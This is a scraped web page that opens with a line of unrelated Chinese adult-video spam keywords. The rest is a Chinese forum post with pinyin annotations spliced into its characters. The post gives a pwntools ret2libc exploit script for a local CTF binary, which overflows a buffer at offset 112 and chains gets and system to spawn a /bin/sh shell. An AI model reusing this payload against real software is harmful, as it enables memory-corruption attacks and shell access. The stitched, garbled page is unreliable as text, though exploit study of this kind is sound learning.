亚洲中文字幕手机在线第一页,果冻传媒免费观看,欧美日本性爱视频

經(jīng)過兩個小時的調(diào)試。。我終于找到了不需要 pop ；ret的方法，少了個局限性。

Student 2023-5-23 750

源自： ret2libc-手動構(gòu)造系統(tǒng)函數(shù)的參數(shù)

提問者：
hack_xolin 2021-4-11
經(jīng)過兩個小時的調(diào)試。。我終于找到了不需要 pop ；ret的方法，少了個局限性。
EXP如下：

from  pwn  import  *
 
context.log_level  =  "debug"
p  =  process("./ret2libc2_last")
e  =  ELF("./ret2libc2_last")
 
systemAddr  =  e.symbols["system"]
getsAddr  =  e.plt["gets"]
offset  =  112
binAddr  =  0x804b000  -  0x10
 
payload  =  offset  *  "A"  +  p32(getsAddr)  +  p32(systemAddr)  +  p32(binAddr)  +  p32(binAddr)
pause()
p.sendlineafter("What  do  you  think  ?",  payload)
 
p.sendline("/bin/sh\x00")
p.interactive()